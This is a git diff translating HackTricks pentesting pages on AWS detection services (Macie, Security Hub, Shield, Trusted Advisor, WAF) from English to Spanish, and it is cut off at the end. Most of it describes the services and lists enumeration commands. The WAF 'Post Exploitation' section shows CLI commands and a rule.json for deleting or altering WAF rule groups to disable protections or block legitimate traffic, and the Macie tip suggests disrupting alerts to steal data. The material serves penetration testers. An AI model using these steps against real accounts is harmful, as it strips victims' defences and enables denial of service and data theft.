[https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..62e30c9c9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie se destaca como un servicio diseñado para **detectar, clasificar e identificar datos** automáticamente dentro de una cuenta de AWS. Aprovecha **aprendizaje automático** para monitorear y analizar continuamente los datos, enfocándose principalmente en detectar y alertar sobre actividades inusuales o sospechosas al examinar los **datos de eventos de cloud trail** y los patrones de comportamiento de los usuarios. -Key Features of Amazon Macie: +Características clave de Amazon Macie: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Revisión Activa de Datos**: Emplea aprendizaje automático para revisar datos activamente a medida que ocurren diversas acciones dentro de la cuenta de AWS. +2. **Detección de Anomalías**: Identifica actividades irregulares o patrones de acceso, generando alertas para mitigar posibles riesgos de exposición de datos. +3. **Monitoreo Continuo**: Monitorea y detecta automáticamente nuevos datos en Amazon S3, empleando aprendizaje automático e inteligencia artificial para adaptarse a los patrones de acceso a los datos a lo largo del tiempo. +4. **Clasificación de Datos con NLP**: Utiliza procesamiento de lenguaje natural (NLP) para clasificar e interpretar diferentes tipos de datos, asignando puntajes de riesgo para priorizar hallazgos. +5. **Monitoreo de Seguridad**: Identifica datos sensibles a la seguridad, incluidos claves API, claves secretas e información personal, ayudando a prevenir filtraciones de datos. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie es un **servicio regional** y requiere el rol IAM 'AWSMacieServiceCustomerSetupRole' y un AWS CloudTrail habilitado para su funcionalidad. -### Alert System +### Sistema de Alertas -Macie categorizes alerts into predefined categories like: +Macie categoriza las alertas en categorías predefinidas como: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation +- Acceso anonimizado +- Cumplimiento de datos +- Pérdida de credenciales +- Escalación de privilegios - Ransomware -- Suspicious access, etc. +- Acceso sospechoso, etc. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Estas alertas proporcionan descripciones detalladas y desgloses de resultados para una respuesta y resolución efectivas. -### Dashboard Features +### Características del Panel -The dashboard categorizes data into various sections, including: +El panel categoriza los datos en varias secciones, incluyendo: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- Objetos S3 (por rango de tiempo, ACL, PII) +- Eventos/usuarios de CloudTrail de alto riesgo +- Ubicaciones de actividad +- Tipos de identidad de usuario de CloudTrail, y más. -### User Categorization +### Clasificación de Usuarios -Users are classified into tiers based on the risk level of their API calls: +Los usuarios se clasifican en niveles según el nivel de riesgo de sus llamadas API: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Platino**: Llamadas API de alto riesgo, a menudo con privilegios de administrador. +- **Oro**: Llamadas API relacionadas con la infraestructura. +- **Plata**: Llamadas API de riesgo medio. +- **Bronce**: Llamadas API de bajo riesgo. -### Identity Types +### Tipos de Identidad -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Los tipos de identidad incluyen Root, usuario IAM, Rol Asumido, Usuario Federado, Cuenta AWS y Servicio AWS, indicando la fuente de las solicitudes. -### Data Classification +### Clasificación de Datos -Data classification encompasses: +La clasificación de datos abarca: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- Tipo de Contenido: Basado en el tipo de contenido detectado. +- Extensión de Archivo: Basado en la extensión del archivo. +- Tema: Clasificado por palabras clave dentro de los archivos. +- Regex: Clasificado según patrones regex específicos. -The highest risk among these categories determines the file's final risk level. +El riesgo más alto entre estas categorías determina el nivel de riesgo final del archivo. -### Research and Analysis +### Investigación y Análisis -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. - -### Enumeration +La función de investigación de Amazon Macie permite consultas personalizadas en todos los datos de Macie para un análisis profundo. Los filtros incluyen Datos de CloudTrail, propiedades de S3 Bucket y Objetos S3. Además, admite invitar a otras cuentas a compartir Amazon Macie, facilitando la gestión colaborativa de datos y el monitoreo de seguridad. +### Enumeración ``` # Get buckets aws macie2 describe-buckets @@ -102,21 +101,16 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - -#### Post Exploitation +#### Post Explotación > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> Desde la perspectiva de un atacante, este servicio no está diseñado para detectar al atacante, sino para detectar información sensible en los archivos almacenados. Por lo tanto, este servicio podría **ayudar a un atacante a encontrar información sensible** dentro de los buckets.\ +> Sin embargo, tal vez un atacante también podría estar interesado en interrumpirlo para evitar que la víctima reciba alertas y robar esa información más fácilmente. -TODO: PRs are welcome! +TODO: ¡Se aceptan PRs! -## References +## Referencias - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..7d4c14652 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** recopila **datos** de seguridad de **todas las cuentas de AWS**, servicios y productos de socios de terceros compatibles y te ayuda a **analizar tus tendencias de seguridad** e identificar los problemas de seguridad de mayor prioridad. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +Centraliza **alertas relacionadas con la seguridad a través de cuentas** y proporciona una interfaz de usuario para verlas. La mayor limitación es que **no centraliza alertas entre regiones**, solo entre cuentas. -**Characteristics** +**Características** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Regional (los hallazgos no cruzan regiones) +- Soporte para múltiples cuentas +- Hallazgos de: +- Guard Duty +- Config +- Inspector +- Macie +- terceros +- autogenerados contra estándares CIS ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,10 +49,9 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - ## Bypass Detection -TODO, PRs accepted +TODO, PRs aceptados ## References @@ -61,7 +59,3 @@ TODO, PRs accepted - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..afb7cf2ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield ha sido diseñado para ayudar a **proteger tu infraestructura contra ataques de denegación de servicio distribuidos**, comúnmente conocidos como DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** es **gratuito** para todos, y ofrece **protección DDoS** contra algunos de los ataques más comunes de capa tres, la **capa de red**, y capa cuatro, **capa de transporte**, DDoS. Esta protección está integrada tanto con CloudFront como con Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced** ofrece un **mayor nivel de protección** para ataques DDoS en un ámbito más amplio de servicios de AWS por un costo adicional. Este nivel avanzado ofrece protección contra tus aplicaciones web que se ejecutan en EC2, CloudFront, ELB y también Route 53. Además de estos tipos de recursos adicionales que están protegidos, se ofrecen niveles mejorados de protección DDoS en comparación con los de Standard. Y también tendrás **acceso a un equipo especializado de respuesta DDoS disponible las 24 horas del día, los 7 días de la semana en AWS, conocido como DRT**. -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Mientras que la versión Standard de Shield ofrecía protección contra la capa tres y la capa cuatro, **Advanced también ofrece protección contra la capa siete, ataques de aplicación.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..a356533be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,70 +6,66 @@ ## AWS Trusted Advisor Overview -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor es un servicio que **proporciona recomendaciones** para optimizar su cuenta de AWS, alineándose con **las mejores prácticas de AWS**. Es un servicio que opera en múltiples regiones. Trusted Advisor ofrece información en cuatro categorías principales: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Optimización de Costos:** Sugiere cómo reestructurar recursos para reducir gastos. +2. **Rendimiento:** Identifica posibles cuellos de botella en el rendimiento. +3. **Seguridad:** Escanea en busca de vulnerabilidades o configuraciones de seguridad débiles. +4. **Tolerancia a Fallos:** Recomienda prácticas para mejorar la resiliencia del servicio y la tolerancia a fallos. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Las características completas de Trusted Advisor son accesibles exclusivamente con **planes de soporte empresarial o de negocios de AWS**. Sin estos planes, el acceso se limita a **seis verificaciones básicas**, centradas principalmente en rendimiento y seguridad. ### Notifications and Data Refresh -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor puede emitir alertas. +- Los elementos pueden ser excluidos de sus verificaciones. +- Los datos se actualizan cada 24 horas. Sin embargo, es posible una actualización manual 5 minutos después de la última actualización. ### **Checks Breakdown** #### CategoriesCore -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. Optimización de Costos +2. Seguridad +3. Tolerancia a Fallos +4. Rendimiento +5. Límites de Servicio +6. Permisos de S3 Bucket #### Core Checks -Limited to users without business or enterprise support plans: +Limitado a usuarios sin planes de soporte empresarial o de negocios: -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. Grupos de Seguridad - Puertos Específicos Sin Restricciones +2. Uso de IAM +3. MFA en la Cuenta Raíz +4. Instantáneas Públicas de EBS +5. Instantáneas Públicas de RDS +6. Límites de Servicio #### Security Checks -A list of checks primarily focusing on identifying and rectifying security threats: +Una lista de verificaciones centradas principalmente en identificar y rectificar amenazas de seguridad: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Configuraciones de grupo de seguridad para puertos de alto riesgo +- Acceso sin restricciones a grupos de seguridad +- Acceso de escritura/lista abierto a buckets de S3 +- MFA habilitado en la cuenta raíz +- Permisividad del grupo de seguridad de RDS +- Uso de CloudTrail +- Registros SPF para registros MX de Route 53 +- Configuración HTTPS en ELBs +- Grupos de seguridad para ELBs +- Verificaciones de certificados para CloudFront +- Rotación de claves de acceso IAM (90 días) +- Exposición de claves de acceso (por ejemplo, en GitHub) +- Visibilidad pública de instantáneas de EBS o RDS +- Políticas de contraseña IAM débiles o ausentes -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor actúa como una herramienta crucial para garantizar la optimización, rendimiento, seguridad y tolerancia a fallos de los servicios de AWS basados en las mejores prácticas establecidas. ## **References** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..359f49487 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF es un **firewall de aplicaciones web** diseñado para **proteger aplicaciones web o APIs** contra diversas explotaciones web que pueden afectar su disponibilidad, seguridad o consumo de recursos. Permite a los usuarios controlar el tráfico entrante configurando **reglas de seguridad** que mitigan vectores de ataque típicos como inyección SQL o scripting entre sitios, y también definiendo reglas de filtrado personalizadas. -### Key concepts +### Conceptos clave -#### Web ACL (Access Control List) +#### Web ACL (Lista de Control de Acceso) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Una Web ACL es una colección de reglas que puedes aplicar a tus aplicaciones web o APIs. Cuando asocias una Web ACL con un recurso, AWS WAF inspecciona las solicitudes entrantes según las reglas definidas en la Web ACL y toma las acciones especificadas. -#### Rule Group +#### Grupo de Reglas -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Un Grupo de Reglas es una colección reutilizable de reglas que puedes aplicar a múltiples Web ACLs. Los grupos de reglas ayudan a gestionar y mantener conjuntos de reglas consistentes a través de diferentes aplicaciones web o APIs. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Cada grupo de reglas tiene su **capacidad** asociada, que ayuda a calcular y controlar los recursos operativos que se utilizan para ejecutar tus reglas, grupos de reglas y Web ACLs. Una vez que su valor se establece durante la creación, no es posible modificarlo. -#### Rule +#### Regla -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Una regla define un conjunto de condiciones que AWS WAF utiliza para inspeccionar las solicitudes web entrantes. Hay dos tipos principales de reglas: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Regla Regular**: Este tipo de regla utiliza condiciones especificadas para determinar si permitir, bloquear o contar las solicitudes web. +2. **Regla Basada en Tasa**: Cuenta las solicitudes de una dirección IP específica durante un período de cinco minutos. Aquí, los usuarios definen un umbral, y si el número de solicitudes de una IP excede este límite dentro de cinco minutos, las solicitudes subsiguientes de esa IP son bloqueadas hasta que la tasa de solicitudes caiga por debajo del umbral. El umbral mínimo para las reglas basadas en tasa es **2000 solicitudes**. -#### Managed Rules +#### Reglas Administradas -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF ofrece conjuntos de reglas administradas preconfigurados que son mantenidos por AWS y vendedores de AWS Marketplace. Estos conjuntos de reglas proporcionan protección contra amenazas comunes y se actualizan regularmente para abordar nuevas vulnerabilidades. -#### IP Set +#### Conjunto de IP -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +Un Conjunto de IP es una lista de direcciones IP o rangos de direcciones IP que deseas permitir o bloquear. Los conjuntos de IP simplifican el proceso de gestión de reglas basadas en IP. -#### Regex Pattern Set +#### Conjunto de Patrones Regex -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Un Conjunto de Patrones Regex contiene una o más expresiones regulares (regex) que definen patrones a buscar en las solicitudes web. Esto es útil para escenarios de coincidencia más complejos, como filtrar secuencias específicas de caracteres. -#### Lock Token +#### Token de Bloqueo -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Un Token de Bloqueo se utiliza para el control de concurrencia al realizar actualizaciones en los recursos de WAF. Asegura que los cambios no sean sobrescritos accidentalmente por múltiples usuarios o procesos que intentan actualizar el mismo recurso simultáneamente. -#### API Keys +#### Claves API -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +Las Claves API en AWS WAF se utilizan para autenticar solicitudes a ciertas operaciones de API. Estas claves están encriptadas y se gestionan de manera segura para controlar el acceso y asegurar que solo los usuarios autorizados puedan realizar cambios en las configuraciones de WAF. -- **Example**: Integration of the CAPTCHA API. +- **Ejemplo**: Integración de la API de CAPTCHA. -#### Permission Policy +#### Política de Permisos -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Una Política de Permisos es una política IAM que especifica quién puede realizar acciones en los recursos de AWS WAF. Al definir permisos, puedes controlar el acceso a los recursos de WAF y asegurar que solo los usuarios autorizados puedan crear, actualizar o eliminar configuraciones. -#### Scope +#### Alcance -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +El parámetro de alcance en AWS WAF especifica si las reglas y configuraciones de WAF se aplican a una aplicación regional o a una distribución de Amazon CloudFront. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**: Se aplica a servicios regionales como Balanceadores de Carga de Aplicaciones (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, grupo de usuarios de Amazon Cognito, servicio AWS App Runner y instancia de AWS Verified Access. Especificas la región de AWS donde se encuentran estos recursos. +- **CLOUDFRONT**: Se aplica a distribuciones de Amazon CloudFront, que son globales. Las configuraciones de WAF para CloudFront se gestionan a través de la región `us-east-1` independientemente de dónde se sirva el contenido. -### Key features +### Características clave -#### Monitoring Criteria (Conditions) +#### Criterios de Monitoreo (Condiciones) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Condiciones** especifican los elementos de las solicitudes HTTP/HTTPS entrantes que AWS WAF monitorea, que incluyen XSS, ubicación geográfica (GEO), direcciones IP, restricciones de tamaño, inyección SQL y patrones (coincidencias de cadenas y regex). Es importante notar que **las solicitudes restringidas a nivel de CloudFront según el país no llegarán a WAF**. -Each AWS account can configure: +Cada cuenta de AWS puede configurar: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **100 condiciones** para cada tipo (excepto para Regex, donde solo se permiten **10 condiciones**, pero este límite puede aumentarse). +- **100 reglas** y **50 Web ACLs**. +- Un máximo de **5 reglas basadas en tasa**. +- Un rendimiento de **10,000 solicitudes por segundo** cuando WAF se implementa con un balanceador de carga de aplicaciones. -#### Rule actions +#### Acciones de Regla -Actions are assigned to each rule, with options being: +Se asignan acciones a cada regla, siendo las opciones: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Permitir**: La solicitud se reenvía a la distribución de CloudFront o al Balanceador de Carga de Aplicaciones correspondiente. +- **Bloquear**: La solicitud se termina inmediatamente. +- **Contar**: Cuenta las solicitudes que cumplen con las condiciones de la regla. Esto es útil para probar la regla, confirmando la precisión de la regla antes de configurarla para Permitir o Bloquear. +- **CAPTCHA y Desafío:** Se verifica que la solicitud no provenga de un bot utilizando acertijos de CAPTCHA y desafíos silenciosos. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Si una solicitud no coincide con ninguna regla dentro de la Web ACL, se somete a la **acción predeterminada** (Permitir o Bloquear). El orden de ejecución de las reglas, definido dentro de una Web ACL, es crucial y típicamente sigue esta secuencia: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Permitir IPs en la lista blanca. +2. Bloquear IPs en la lista negra. +3. Bloquear solicitudes que coincidan con cualquier firma perjudicial. -#### CloudWatch Integration +#### Integración con CloudWatch -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF se integra con CloudWatch para monitoreo, ofreciendo métricas como SolicitudesPermitidas, SolicitudesBloqueadas, SolicitudesContadas y SolicitudesPasadas. Estas métricas se informan cada minuto por defecto y se retienen durante un período de dos semanas. -### Enumeration +### Enumeración -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +Para interactuar con distribuciones de CloudFront, debes especificar la Región US East (N. Virginia): -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - Especifica la Región US East cuando uses el alcance de CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API y SDKs - Para todas las llamadas, utiliza el endpoint de la región us-east-1. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Para interactuar con servicios regionales, debes especificar la región: +- Ejemplo con la región Europa (España): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - -### Post Exploitation / Bypass +### Post Explotación / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> Desde la perspectiva de un atacante, este servicio puede ayudar al atacante a identificar las protecciones de WAF y las exposiciones de red que podrían ayudarle a comprometer otras webs. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> Sin embargo, un atacante también podría estar interesado en interrumpir este servicio para que las webs no estén protegidas por el WAF. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +En muchas de las operaciones de Eliminar y Actualizar sería necesario proporcionar el **token de bloqueo**. Este token se utiliza para el control de concurrencia sobre los recursos, asegurando que los cambios no sean sobrescritos accidentalmente por múltiples usuarios o procesos que intentan actualizar el mismo recurso simultáneamente. Para obtener este token, podrías realizar las operaciones correspondientes de **listar** o **obtener** sobre el recurso específico. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Un atacante podría comprometer la seguridad del recurso afectado al: +- Crear grupos de reglas que podrían, por ejemplo, bloquear tráfico legítimo de direcciones IP legítimas, causando una denegación de servicio. +- Actualizar grupos de reglas, pudiendo modificar sus acciones, por ejemplo, de **Bloquear** a **Permitir**. +- Eliminar grupos de reglas que proporcionan medidas de seguridad críticas. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +Los siguientes ejemplos muestran un grupo de reglas que bloquearía el tráfico legítimo de direcciones IP específicas: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +El archivo **rule.json** se vería así: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Impacto Potencial**: 